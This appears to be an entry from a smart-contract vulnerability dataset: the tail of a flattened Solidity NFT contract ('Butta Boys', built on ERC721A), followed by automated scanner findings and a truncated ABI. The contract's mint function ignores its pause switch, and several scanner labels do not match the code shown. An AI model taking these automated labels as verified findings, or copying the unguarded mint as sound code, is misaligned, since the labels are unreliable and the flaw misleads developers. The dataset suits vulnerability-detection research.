buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Creator: Chiru Labs
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
unchecked {
for (uint256 curr = tokenId; curr >= 0; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
require(quantity != 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract ButtaBoys is
ERC721A,
Pausable,
Ownable
{
using SafeMath for uint256;
uint256 public constant MAX_BUTTA_BOYS = 7000;
uint256 public constant PRICE = 0.05 ether;
uint256 public constant PRE_MINT_AMOUNT = 8;
address public constant creatorAddress = 0x5973dE600C5560833730cF3c8932E62cA621D64a;
address public constant devAddress = 0xa2Da47505C925d0b5F7564129bd391Cc46aA5371;
string public baseTokenURI;
constructor(string memory baseURI)
ERC721A(
"Butta Boys",
"BB"
) {
_safeMint(owner(), PRE_MINT_AMOUNT);
setBaseURI(baseURI);
pause();
}
function mint(uint256 count)
public
payable {
uint256 currentTotal = totalSupply();
require(count > 0,
"Count must be greater than 0");
require(currentTotal.add(count) <= MAX_BUTTA_BOYS,
"Requested amount exceeds what is available!");
require(currentTotal <= MAX_BUTTA_BOYS,
"Not enough Butta Boys available.");
require(msg.value >= PRICE.mul(count),
"Incorrect price.");
_safeMint(msg.sender, count);
}
function _baseURI()
internal
view
virtual
override
returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI)
public
onlyOwner {
baseTokenURI = baseURI;
}
function pause()
public
onlyOwner {
_pause();
}
function unpause()
public
onlyOwner {
_unpause();
}
function withdrawAll()
public
payable
onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0);
_widthdraw(devAddress, balance.mul(10).div(100));
_widthdraw(creatorAddress, address(this).balance);
}
function _widthdraw(address _address, uint256 _amount)
private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1274"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["825"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1331", "1270"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1434"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["876", "1022", "898", "91"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["1060"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["77", "51", "630", "1015", "457", "1088", "66"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1335"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [848, 849, 850, 847]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [1385, 1386, 1387]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [672, 673, 674]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [288, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [243, 244, 245, 246, 247, 248]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [694, 695, 696, 697, 698, 699]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [748, 749, 750, 751, 752, 753, 754]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [256, 257, 258, 259, 260, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [818, 819, 820, 821, 822, 823, 824, 825, 826, 827]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [352, 353, 354, 355, 356, 347, 348, 349, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 894, 895]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [808, 809, 810]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [201, 202, 203, 204, 205, 206, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [396, 397, 398, 399, 400, 401, 402, 403, 404, 405]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [768, 769, 770, 771, 772, 773, 762, 763, 764, 765, 766, 767]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [370, 371, 372, 373, 374, 375, 376, 377, 378, 379]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [20, 21, 22]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [781, 782, 783]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [330, 331, 332]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [1064, 1065, 1066, 1067]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [214, 215, 216, 217, 218, 219]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [729, 730, 731, 732, 733, 734, 735]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [800, 791, 792, 793, 794, 795, 796, 797, 798, 799]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [1124, 1125, 1126]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ButtaBoys.sol": [720, 721, 719]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1155, 1156, 1157, 1158, 1159, 1160]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [73, 74, 75]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1184, 1185, 1186, 1187, 1188, 1189, 1183]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1494, 1495, 1496, 1497, 1498]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1105, 1106, 1107]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1020, 1021, 1022, 1023]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [81, 82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1504, 1505, 1506, 1507, 1508, 1500, 1501, 1502, 1503]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1172, 1173, 1174, 1175, 1176, 1177, 1178]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1010, 1011, 1012, 1013]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1112, 1113, 1114, 1115, 1116, 1117]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ButtaBoys.sol": [1098, 1099, 1100]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [2]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [771]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [798]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [825]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [1512]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [697]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [984]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [1198]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [1444]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ButtaBoys.sol": [1443]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"ButtaBoys.sol": [1382]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"ButtaBoys.sol": [1380]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"ButtaBoys.sol": [1386]}}, {"check": "tautology", "impact": "Medium", "confidence": "High", "lines": {"ButtaBoys.sol": [1077]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"ButtaBoys.sol": [1028]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"ButtaBoys.sol": [1023]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"ButtaBoys.sol": [1024]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"ButtaBoys.sol": [1274]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"ButtaBoys.sol": [1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1443, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1444, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 915, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 74, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1260, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1278, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1289, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1321, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1434, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1482, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 40, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 119, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 864, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 977, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 980, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 987, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 990, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 993, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1382, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1439, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 666, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 201, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 214, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 226, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 243, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 255, "severity": 1}, {"rule": "SOLIDITY_UINT_CANT_BE_NEGATIVE", "line": 1077, "severity": 3}, {"rule": "SOLIDITY_UINT_CANT_BE_NEGATIVE", "line": 1077, "severity": 2}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 20, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1385, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 47, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 124, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 694, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 995, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 694, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 694, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 695, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 695, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 695, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 695, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 697, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 697, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 697, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"MAX_BUTTA_BOYS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PRE_MINT_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"creatorAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":